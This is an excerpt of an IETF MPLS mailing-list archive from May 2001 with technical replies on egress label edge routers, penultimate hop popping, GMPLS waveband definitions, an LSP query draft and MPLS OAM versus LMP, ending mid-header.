Message-ID: <F005CD411D18D3119C8F00508B08748005C4B947@ehubunt100.eth.ericsson.se>
From: "Gabor Korossy (ETH)" <Gabor.Korossy@eth.ericsson.se>
To: "'Asish Thomas Punnoose'" <asish.punnoose@wipro.com>,
        "'mpls@UU.NET'"
	 <mpls@UU.NET>
Subject: RE: Doubt about Egress Label Edge Router
Date: Tue, 22 May 2001 08:31:52 +0200
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="ISO-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi Asish,
Egress LER is the one that is on the edge of the MPLS domain. On the egress interface of this LER there is no MPLS encapsulation. (See RFC3031)

Other LSRs can pop label eg in case of BGP/MPLS based VPNs (RFC2547).

rgds / Gabor

-----Original Message-----
From: owner-mpls@UU.NET [mailto:owner-mpls@UU.NET]On Behalf Of Asish
Thomas Punnoose
Sent: Tuesday, May 22, 2001 8:00 AM
To: mpls@UU.NET
Subject: Doubt about Egress Label Edge Router


Hi all,

LSRs along the LSP swap the label on the top of the label stack and forward
the packet and Egress LER pops the label and then forwards the packed. can
any other LSR pop out the label? What is the Definition of Egress LER? If an
LSR who can POP the label, is a Egress router?

Thanks In Advance
-Asish



From owner-mpls@UU.NET  Tue May 22 02:40:30 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id CAA09143
	for <mpls-archive@lists.ietf.org>; Tue, 22 May 2001 02:40:30 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqbq26195;
	Tue, 22 May 2001 06:39:52 GMT
Received: by mail-control.mail.uu.net 
	id QQkqbq04848
	for mpls-outgoing; Tue, 22 May 2001 06:39:21 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkqbq04843
	for <mpls@mail-control.mail.uu.net>; Tue, 22 May 2001 06:39:18 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkqbq24543
	for <mpls@UU.NET>; Tue, 22 May 2001 06:39:15 GMT
Received: from localhost.localdomain by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [164.164.70.54])
	id QQkqbq23709
	for <mpls@UU.NET>; Tue, 22 May 2001 06:39:12 GMT
Received: from cheetah (IDENT:tomar@cheetah [127.0.0.1])
	by localhost.localdomain (8.11.0/8.11.0) with ESMTP id f4M6fng01690;
	Tue, 22 May 2001 12:11:49 +0530
Date: Tue, 22 May 2001 12:11:47 +0530 (IST)
From: Nagendra Singh Tomar <nagendras@netbrahma.com>
X-Sender: tomar@localhost.localdomain
Reply-To: nagendras@netbrahma.com
To: Asish Thomas Punnoose <asish.punnoose@wipro.com>
cc: mpls@UU.NET
Subject: Re: Doubt about Egress Label Edge Router
In-Reply-To: <OMEIJJMMOPBHIBPKIFGIMEIKCBAA.asish.punnoose@wipro.com>
Message-ID: <Pine.LNX.4.21.0105221209160.1684-100000@localhost.localdomain>
Organization: NetBrahma Technologies
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi Asish!
          Egress LER is the term used for an LSR that is at the end of an
LSP. For a router to be at the end of an LSP, it should be POP capable. So
Egress router is with respect to an LSP. Though a router might be POP
capable, if it is not at the end of an LSP it is NOT the egress router for
that LSP.
regards
tomar


On Tue, 22 May 2001, Asish Thomas Punnoose wrote:

> Hi all,
> 
> LSRs along the LSP swap the label on the top of the label stack and forward
> the packet and Egress LER pops the label and then forwards the packed. can
> any other LSR pop out the label? What is the Definition of Egress LER? If an
> LSR who can POP the label, is a Egress router?
> 
> Thanks In Advance
> -Asish
> 



From owner-mpls@UU.NET  Tue May 22 03:02:10 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id DAA10550
	for <mpls-archive@lists.ietf.org>; Tue, 22 May 2001 03:02:05 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqbs09378;
	Tue, 22 May 2001 07:00:54 GMT
Received: by mail-control.mail.uu.net 
	id QQkqbs08144
	for mpls-outgoing; Tue, 22 May 2001 07:00:21 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkqbs06894
	for <mpls@mail-control.mail.uu.net>; Tue, 22 May 2001 07:00:07 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkqbr11781
	for <mpls@uu.net>; Tue, 22 May 2001 06:59:47 GMT
Received: from mill.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mill.cisco.com [161.44.131.47])
	id QQkqbr08372
	for <mpls@uu.net>; Tue, 22 May 2001 06:59:46 GMT
Received: (erosen@localhost) by mill.cisco.com (8.8.5-Cisco.1/8.6.5) id CAA03473 for mpls@uu.net; Tue, 22 May 2001 02:59:45 -0400 (EDT)
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkqbr05931
	for <mpls@mail-control.mail.uu.net>; Tue, 22 May 2001 06:59:07 GMT
Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkqbr09337
	for <MPLS@uu.net>; Tue, 22 May 2001 06:58:12 GMT
Received: from ihemail1.firewall.lucent.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: ihemail1.lucent.com [192.11.222.161])
	id QQkqbr16632
	for <MPLS@uu.net>; Tue, 22 May 2001 06:58:12 GMT
Received: from ihemail1.firewall.lucent.com (localhost [127.0.0.1])
	by ihemail1.firewall.lucent.com (Switch-2.1.1/Switch-2.1.0) with ESMTP id f4M6wCK09222
	for <MPLS@uu.net>; Tue, 22 May 2001 02:58:12 -0400 (EDT)
Received: from hzsms01.nl.lucent.com (h135-85-32-31.lucent.com [135.85.32.31])
	by ihemail1.firewall.lucent.com (Switch-2.1.1/Switch-2.1.0) with ESMTP id f4M6wBG09210
	for <MPLS@uu.net>; Tue, 22 May 2001 02:58:11 -0400 (EDT)
Received: by hzsms01.nl.lucent.com (8.8.8+Sun/EMS-1.5 sol2)
	id IAA23244; Tue, 22 May 2001 08:58:10 +0200 (MET DST)
To: Yuri Landry <yurilandry@hotmail.com>, manojkumarjuneja@hotmail.com,
        ccamp@ops.ietf.org, MPLS@UU.NET
Received: from lucent.com by hzsms01.nl.lucent.com (8.8.8+Sun/EMS-1.5 sol2)
	id IAA23227; Tue, 22 May 2001 08:58:07 +0200 (MET DST)
Message-ID: <3B0A0DFF.2D86847F@lucent.com>
Date: Tue, 22 May 2001 08:58:07 +0200
From: Maarten Vissers <mvissers@lucent.com>
Organization: Lucent Technologies
X-Mailer: Mozilla 4.6 [en]C-CCK-MCD EMS-1.4  (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
Original-To: Yuri Landry <yurilandry@hotmail.com>, manojkumarjuneja@hotmail.com,
        ccamp@ops.ietf.org, MPLS@uu.net
Subject: Waveband definition [was: GMPLS Message Structures]
References: <F150hFOWd8T408Oh1pM00002011@hotmail.com> <3B08D516.3C7B7C1B@lucent.com>
Content-Type: multipart/mixed;
 boundary="------------3BEC16384AFE27EAF03A7358"
Sender: owner-mpls@UU.NET
Precedence: bulk

This is a multi-part message in MIME format.
--------------3BEC16384AFE27EAF03A7358
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Manoj, Yuri,

I received a message that my definition of waveband is too restricted. 

A waveband should be an optical multiplex, administered as a single
bundle, not necessary contiguous in frequency slot.

	E.g. there may be good technical reasons to consider a
	'waveband' created at an OADM formed by taking every 2nd
	wavelength in a 50GHz-spaced transmission band.

In first instance the above definition may not be considered this as a
"band"; it
looks more like a "gapped-band" :-). Nevertheless, due to technical
reasons we should consider a waveband as just another name for a
particular group of wavelengths, which may best be viewed as a group of
identified/listed wavelengths. 

Regards,

Maarten

Maarten Vissers wrote:
> 
> Manoj, Yuri,
> 
> In my current understanding, a waveband is a group of OCh (optical
> channel) signals located in a contiguous set of tributary (i.e.
> frequency) slots.
> 
> A waveband is therefore related to partitioning, rather than a layering.
> A waveband shouldn't have an LSP encoding type itself, but instead be
> part of the OCh layer network. E.g. a specific RGT (requested groupting
> type) of "contiguous waveband" can be defined for this purpose with the
> RNC (requested number of components) indicating the size of the
> waveband.
> 
> The above is simply a first shot; in general the issue can be more
> complex due to the fact that the frequency slot for a 2G5, a 10G and a
> 40G signal may have differnet bandwidths: e.g. 2G5 freq. slot width e.g.
> 25 GHz, 10G freq. slot width e.g. 50 GHz and 40G freq. slot width e.g.
> 100 GHz. For the case of (future?) mixed rate WDM signals with bit rate
> optimized freq. slot widths, a waveband might need a start-of-waveband
> and end-of-waveband (SOW-EOW) indication, instead of RNC.
> 
> Regards,
> 
> Maarten
> 
> Yuri Landry wrote:
> >
> > Mano,
> >
> > >            Can someone tell me the message structure of Label Request and
> > >Label Mapping in GMPLS ?
> > >I am confused about the presence of LightPath Id in O-UNI messages and LSP
> > >Id in GMPLS messages ? Is there one-to-one mapping between these Ids or Is
> > >it like that both lightPath Id and LSP Id will be carried in GMPLS messages
> > >? LSP Id is not present in O-UNI messages. Can one LightPath Id be mapped
> > >to
> > >multiple LSP Ids or vice versa ?
> >
> > I think you mean Connection ID and LSP ID. A connection ID is an ID for
> > network connection, which may consist many LSPs. For example, the virtual
> > concatenation case.
> >
> > A LSP may tunnel through multiple pre-established connections.
> >
> > >Also, for waveband switching, the genralized label has the format
> > >(wavebandId - start label - end label).
> > >When the label request message is received on incoming interface, how to
> > >identify that the waveband label is requested ?
> > >Is it the LSP encoding type or some other parameter in label request
> > >message
> > >? If it is the Lambda encoding type then how to identify that whether a
> > >lambda or waveband label is requested ?
> > >
> > >Also, it is mentioned that wavebandId (32 bits) is selected by the sender
> > >and reused in all the subsequent messages. What all subsequent
> > >messages is it mentioning to ?
> > >
> > >Can wavebandId be present in Label Withdraw/Release messages ?
> > >
> > >I am not able to workout the message structures for GMPLS.
> > >
> >
> > To me waveband label defined in GMPLS drafts is a joke. The reason to have
> > the waveband label is that someone claimed that the waveband's order might
> > flip when going through a switch. My suggestion is don't take it seriously.
> >
> > >I am not sure how these drafts are at last call. Atleast it should mention
> > >the message structures of various messages.
> > >
> >
> > Agree.
> >
> > Regards,
> >
> > Yuri
> > _________________________________________________________________
> > Get your FREE download of MSN Explorer at http://explorer.msn.com
--------------3BEC16384AFE27EAF03A7358
Content-Type: text/x-vcard; charset=us-ascii;
 name="mvissers.vcf"
Content-Description: Card for Maarten Vissers
Content-Disposition: attachment;
 filename="mvissers.vcf"
Content-Transfer-Encoding: 7bit

begin:vcard 
n:Vissers;Maarten
tel;cell:+31 62 061 3945
tel;fax:+31 35 687 5976
tel;home:+31 35 526 5463
tel;work:+31 35 687 4270
x-mozilla-html:FALSE
org:Optical Network Group;Lucent Technologies Nederland
version:2.1
email;internet:mvissers@lucent.com
title:Consulting Member of Technical Staff
adr;quoted-printable:;;Botterstraat 45=0D=0A=0D=0A;1271 XL Huizen;;;The Netherlands
fn:Maarten Vissers
end:vcard

--------------3BEC16384AFE27EAF03A7358--



From owner-mpls@UU.NET  Tue May 22 03:03:54 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id DAA10670
	for <mpls-archive@lists.ietf.org>; Tue, 22 May 2001 03:03:54 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqbs02053;
	Tue, 22 May 2001 07:03:20 GMT
Received: by mail-control.mail.uu.net 
	id QQkqbs15845
	for mpls-outgoing; Tue, 22 May 2001 07:02:48 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkqbs13744
	for <mpls@mail-control.mail.uu.net>; Tue, 22 May 2001 07:02:26 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkqbs21781
	for <mpls@UU.NET>; Tue, 22 May 2001 07:02:12 GMT
Received: from tomp.smb.utfors.se by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: tomp.smb.utfors.se [195.58.112.6])
	id QQkqbs10486
	for <mpls@UU.NET>; Tue, 22 May 2001 07:02:11 GMT
Received: from utfors.se ([10.58.0.153]) by tomp.smb.utfors.se
          (Netscape Messaging Server 4.15) with ESMTP id GDQ6BN00.57A;
          Tue, 22 May 2001 09:04:35 +0200 
Message-ID: <3B0A0EF2.CB941144@utfors.se>
Date: Tue, 22 May 2001 09:02:10 +0200
From: Loa Andersson <loa.andersson@utfors.se>
X-Mailer: Mozilla 4.7 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Don Fedyk <dwfedyk@nortelnetworks.com>
CC: Eric Gray <eric.gray@sandburst.com>, MPLS Mailing List <mpls@UU.NET>
Subject: Re: I-D ACTION:draft-ietf-mpls-lsp-query-02.txt
References: <F033F6FEF3F1D111BD150000F8CD143106F4FC27@zcard007.ca.nortel.com>
Content-Type: text/plain; charset=iso-8859-1
Sender: owner-mpls@UU.NET
Precedence: bulk
X-MIME-Autoconverted: from 8bit to quoted-printable by cmr0.ash.ops.us.uu.net id QQkqbs02053
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id DAA10670

Don,

if you want to do a traceroute equivalent for MPLS that's fine and
useful, though I thought that that was taken care of by the 
draft-ietf-mpls-icmp-02.txt.

If you want to take any other actions, like rerouting traffic, I 
still haven't seen that what the query gives us is more, more 
useful or more accurate than what we have from the IGP.

Other reflection:
A security section is missing, I would think that there could be 
any number of interesting security issues in this type of scenario.

As for the RSVP-TE RRO is also seems to be more restricted hops,
labels and info on per platform or per interface labels, even though
the authors call the "global". Still haven't really understood
what use a series of labels might be, MPLS just define how
distribution
of labels is done not allocation.

/Loa


-- 
Loa Andersson
Chief Architect,
Utfors Research, Architecture and Future Lab (URAX)
Utfors AB
Råsundavägen 12
Box 525, 169 29 Solna
Office          +46 8 5270 2000
Office direct   +46 8 5270 5038
Mobile          +46 70 848 5038
Email           loa.andersson@utfors.se
WWW             www.utfors.se


From owner-mpls@UU.NET  Tue May 22 03:59:20 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id DAA11580
	for <mpls-archive@lists.ietf.org>; Tue, 22 May 2001 03:59:19 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqbv09878;
	Tue, 22 May 2001 07:58:05 GMT
Received: by mail-control.mail.uu.net 
	id QQkqbv29440
	for mpls-outgoing; Tue, 22 May 2001 07:57:32 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkqbv29373
	for <mpls@mail-control.mail.uu.net>; Tue, 22 May 2001 07:57:20 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkqbv11703
	for <mpls@UU.NET>; Tue, 22 May 2001 07:56:34 GMT
From: mgoel@hss.hns.com
Received: from hindon.hss.co.in by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [202.54.26.202])
	id QQkqbv08383
	for <mpls@UU.NET>; Tue, 22 May 2001 07:56:27 GMT
Received: from sandesh.hss.hns.com (localhost [127.0.0.1])
	by hindon.hss.co.in (8.10.0/8.10.0) with SMTP id f4M7u1D04240;
	Tue, 22 May 2001 13:26:15 +0530 (IST)
Received: by sandesh.hss.hns.com(Lotus SMTP MTA v4.6.3  (733.2 10-16-1998))  id 65256A54.002A1BC4 ; Tue, 22 May 2001 13:09:56 +0530
X-Lotus-FromDomain: HSS
To: "Asish Thomas Punnoose" <asish.punnoose@wipro.com>
cc: mpls@UU.NET
Message-ID: <65256A54.002A1804.00@sandesh.hss.hns.com>
Date: Tue, 22 May 2001 13:24:12 +0530
Subject: Re: Doubt about Egress Label Edge Router
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline
Sender: owner-mpls@UU.NET
Precedence: bulk



Hi Ashish ,

Pls see the comments in line:

>>LSRs along the LSP swap the label on the top of the label stack and forward
>>the packet and Egress LER pops the label and then forwards the packed. can
>>any other LSR pop out the label?

yes if penultimate hop popping is enabled then penultimate hop of an LSP pops
the label.

>> What is the Definition of Egress LER?

Pls refer section 4.1.4 of RFC 3031, which gives the definition of egress LSR.

>>If an LSR who can POP the label, is a Egress router?

In the case of penultimate hop popping, the penultimate hop pops the label, but
it is actually not an egress router but a proxy egress router.

Regards
Mohit




From owner-mpls@UU.NET  Tue May 22 04:19:22 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id EAA11723
	for <mpls-archive@lists.ietf.org>; Tue, 22 May 2001 04:19:22 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqbx22472;
	Tue, 22 May 2001 08:18:29 GMT
Received: by mail-control.mail.uu.net 
	id QQkqbx20494
	for mpls-outgoing; Tue, 22 May 2001 08:17:55 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkqbx20483
	for <mpls@mail-control.mail.uu.net>; Tue, 22 May 2001 08:17:37 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkqbx14529
	for <mpls@UU.NET>; Tue, 22 May 2001 08:16:41 GMT
From: neil.2.harrison@bt.com
Received: from gandalf.axion.bt.co.uk by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: gandalf.axion.bt.co.uk [132.146.17.29])
	id QQkqbx23624
	for <mpls@UU.NET>; Tue, 22 May 2001 08:16:40 GMT
Received: from chqlubnt02.lon.bt.com by gandalf (local) with ESMTP;
          Tue, 22 May 2001 09:16:02 +0100
Received: by chqlubnt02.lon.bt.com with Internet Mail Service (5.5.2652.35) 
          id <L218WC5S>; Tue, 22 May 2001 09:15:53 +0100
Message-ID: <B9571FDEBD3DD21181E500606DD5EE050E8912EF@mbddmknt01.hc.bt.com>
To: rstreijl@telcordia.com
Cc: mpls@UU.NET
Subject: RE: LMP CV and MPLS OAM CV
Date: Tue, 22 May 2001 09:16:02 +0100
X-Mailer: Internet Mail Service (5.5.2652.35)
MIME-version: 1.0
Content-type: text/plain; charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi Robert (sorry reply below is a bit long-winded.....I could not easily
give short/simple answers without adequately covering the issues),

You asked on 22 May 2001 01:42
> Neil et al,
> 
> What is the difference between connectivity verification 
> provided by LMP,
> and CV OAM packets?

NH=> These address quite different issues.

The first point to note is that MPLS ('classic') introduces a new layer
network technology.....we can see this by noting facts like (i) it defines a
new data/user-plane framing structure (ie the shim header encapsulation
rules), (ii) LSPs are trails (in func arch-speak) which can be explicitly
defined in terms of source/sink, (ii) the source/sink (and indeed
intermediate) points create new processing requirements (eg swap/pop/push),
etc.   The fact that MPLS introduces new functions means, by definition,
that is also introduces new potential failure modes (ie that did not exist
in IP say or, more generally, are not relevant to any other layer network
technology).  It is these new failure modes that our MPLS OAM draft
addresses.....but it goes further than that, to specify issues like how to
measure availability, how to stop nested LSP alarm storms, etc.  These
things are important to operators and can be considered as common (to any
technology) OAM themes....I come back to this point later.

LMP is a new protocol....it is *not* a new layer network.  This is the key
difference.  Indeed, GMPLS does *not* introduce new layer networks (though
judging from the currently lively debate on the CCAMPS channel one might
think otherwise!).  GMPLS is actually a philosophy rather than a
technology....it takes already existing/standardised (but see Note)
data/user-plane networks and applies a common control-plane to them.  Now,
whether the *choice* of the right control-plane facets (the 4 key ones are
(i) addressing, (ii) signalling protocol, (iii) routing protocol and (iv)
control-plane transport network topology) is appropriate is a different
issue....and one I don't want to open up here (but I suspect most know the
views of BT on this).
Note - The GMPLS control-plane can be applied to existing/standardised
user-plane layer networks such as SDH and PDH.  It was, of course,
originally targeted at OTNs....though the actual user-plane standardisation
is not yet complete here.

Now these existing/standardised user-plane networks (such as SDH/PDH) do
have OAM as part of the user-plane framing overhead structure....this is
both natural and correct.  'True' OTNs however, create a bit of a problem as
they can be considered as transparent to the user-plane......esp at
intermediate points when we consider optical switching.  This is why, in
G.709, the concept of a digital wrapper is being worked on.....one can
consider this as the equivalent of the various SDH/Sonet framing formats.
Now, LMP was originally designed (and please correct/add to this Jonathan L
if necessary) to address this 'transparency' problem by providing a method
of testing the user-plane connectivity by injecting a well-known 'test
signal' into the user-plane prior to bringing it into service (for external
traffic carrying).  LMP has other functions however (like how to swap over
between control-channels that carry the LMP protocol), but this was the
prime mover I believe.

So, in conclusion, MPLS OAM and LMP address very different applications.  Is
this clear/OK now?


> Will there be any extensions to the MPLS OAM document on GMPLS OAM?

NH=> You have to note this 1st:
-	the user/data-plane needs its own OAM...and this is per layer
technology
-	the control-plane needs its own OAM (but more accurately it needs
specific/tailored OAM for (i) the routing protocol, (ii) the signalling
protocol and (iii) the user/data-plane of the signalling network....which
can be quite distinct from the user-plane for normal customer traffic.  And
note that 'hellos', error notifications, etc are all OAM functions.).
Once one moves away from a pure CNLS transport mode (ie explicitly
signalled/routed MPLS LSP trails or any GMPLS trails) then the user-plane
and the control-plane *must* be considered separately since they are neither
functionally nor topologically congruent....so this is a whole new ball game
for some.

Now from what I said previously, our MPLS OAM work addresses missing
functionality in the classic MPLS user-plane....it does *not* address any
control-plane aspects.  The need for any additional GMPLS user-plane
functionality however, needs to consider the unique characteristics of the
*section-layer* transport media considered (ie optical
terrestrial/submarine, radio, satellite, copper, etc) and what is defined
for the framing structure at the trail level, ie PDH is different to SDH is
different to OTN.....and especially in terms of the failure modes (and their
handling) that are relevant to the layer network technology considered.
However, one can list some obvious/common OAM themes:
-	must define all defects in terms of entry/exit criteria;
-	must define defect handling in terms of consequent actions, eg
suppress alarm storms in higher/client layer networks, squelch customer
traffic in case of misroutings to ensure customer security/confidentially,
etc
-	must define availability entry/exit criteria (a pre-requisite for
any QoS metric collection, since QoS is only relevant to the up-state)
-	etc
I believe we have described the key themes quite well in our MPLS OAM work,
and then interpreted their implementation details for 'classic' ER MPLS
LSPs.....one would have to apply similar themes to any other user-plane
layer technologies wrt their specific implementation details.

So, whilst its perfectly correct to take the basic themes in our MPLS OAM
work, their actual manifestation in a given layer technology will be quite
different.  And for OTNs, this is being attempted in G.709 to some extent.

> What is the status on P-flows in MPLS OAM?

NH=> Its still FFS.  We need contributions from other operators to say
exactly what they want here.  But note this:  The measurement of performance
metrics needs to be considered within a larger operational framework.....it
can be very costly (for little real benefit) to continuously collect large
amounts of performance data from all connections (just ask any large
operator, I am sure they will say the same).  And in terms of a framework we
need:
-	basic OAM for defect handling and availability measurements...this
is must-have in all situations;
-	ability to turn-on ad hoc detailed QoS flows, eg trouble-shooting or
measurement of important customer connections.....this is more relevant to
pkt-based networks;
-	where QoS metric processing is continuously enabled (eg SDH trails)
then some form of threshold/event-filtering/exception-reporting is required;
-	some network sampling of QoS to determine performance trends and
give some figure of merit over time....again more relevant to pkt-based
networks;
-	network node/link utilisation statistics....that then need coupling
with forecast data to drive the planning cycle.

Shahram (Davari) has written an excellent paper which examines various
P-flow options (for E/L-LSP variants).  I am sure Shahram could let you have
a copy if you want to see it.  However, as I noted above, this area needs
input from the larger operator community.



From owner-mpls@UU.NET  Tue May 22 04:39:44 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id EAA11887
	for <mpls-archive@lists.ietf.org>; Tue, 22 May 2001 04:39:44 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqby10847;
	Tue, 22 May 2001 08:39:09 GMT
Received: by mail-control.mail.uu.net 
	id QQkqby22063
	for mpls-outgoing; Tue, 22 May 2001 08:38:37 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkqby22058
	for <mpls@mail-control.mail.uu.net>; Tue, 22 May 2001 08:38:32 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkqby21064
	for <mpls@UU.NET>; Tue, 22 May 2001 08:38:10 GMT
Received: from ext1.ics.forth.gr by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mailgate.ics.forth.gr [139.91.1.2])
	id QQkqby07473
	for <mpls@UU.NET>; Tue, 22 May 2001 08:38:09 GMT
Received: from ismene.ics.forth.gr (mailhost.ics.forth.gr [139.91.157.51])
	by ext1.ics.forth.gr (8.9.3/ICS-FORTH/V8.2.5-GATE) with ESMTP id LAA25038;
	Tue, 22 May 2001 11:38:01 +0300 (EET DST)
Received: from sappho.ics.forth.gr (sappho-lane.ics.forth.gr [139.91.157.50]) by ismene.ics.forth.gr (8.8.8/ICS-FORTH/V3) with ESMTP id LAA05809; Tue, 22 May 2001 11:33:45 +0300 (EET DST)
Posted-Date: Tue, 22 May 2001 11:33:45 +0300 (EET DST)
Organization:   
Received: from localhost (tziou@localhost)
	by sappho.ics.forth.gr (8.9.3/ICS-FORTH/V8.2.2C-INTNULL) with ESMTP id LAA19793;
	Tue, 22 May 2001 11:32:38 +0300 (EEST)
X-Authentication-Warning: sappho.ics.forth.gr: tziou owned process doing -bs
Date: Tue, 22 May 2001 11:32:38 +0300 (EEST)
From: Chrysostomos Tziouvaras <tziou@ics.forth.gr>
To: mpls@UU.NET, ip-optical@lists.bell-labs.com
Subject: defining many sources using LEDA
Message-ID: <Pine.GSO.4.10.10105221129001.18801-100000@sappho.ics.forth.gr>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-mpls@UU.NET
Precedence: bulk

Dear all,
I have a graph of abou 90 nodes each of them being source and destination.
I want to define a traffic generator(using random_variate of LEDA) for
each source destination pair.
Do you have any idea how I should do this?

Regards
Chrysostomos Tziouvaras
ICS-FORTH Researcher



From owner-mpls@UU.NET  Tue May 22 08:27:49 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id IAA15166
	for <mpls-archive@lists.ietf.org>; Tue, 22 May 2001 08:27:48 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqcn19473;
	Tue, 22 May 2001 12:27:03 GMT
Received: by mail-control.mail.uu.net 
	id QQkqcn29286
	for mpls-outgoing; Tue, 22 May 2001 12:26:18 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkqcn29281
	for <mpls@mail-control.mail.uu.net>; Tue, 22 May 2001 12:26:16 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkqcn28794
	for <mpls@uu.net>; Tue, 22 May 2001 12:25:25 GMT
Received: from sj-msg-core-1.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-msg-core-1.cisco.com [171.71.163.11])
	id QQkqcn28745
	for <mpls@uu.net>; Tue, 22 May 2001 12:25:25 GMT
Received: from erosen-sun.cisco.com (erosen-sun.cisco.com [161.44.134.50])
	by sj-msg-core-1.cisco.com (8.11.3/8.9.1) with ESMTP id f4MCPO901657
	for <mpls@uu.net>; Tue, 22 May 2001 05:25:24 -0700 (PDT)
Received: (erosen@localhost) by erosen-sun.cisco.com (8.8.4-Cisco.1/CISCO.WS.1.2) id IAA01085 for mpls@uu.net; Tue, 22 May 2001 08:25:23 -0400 (EDT)
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
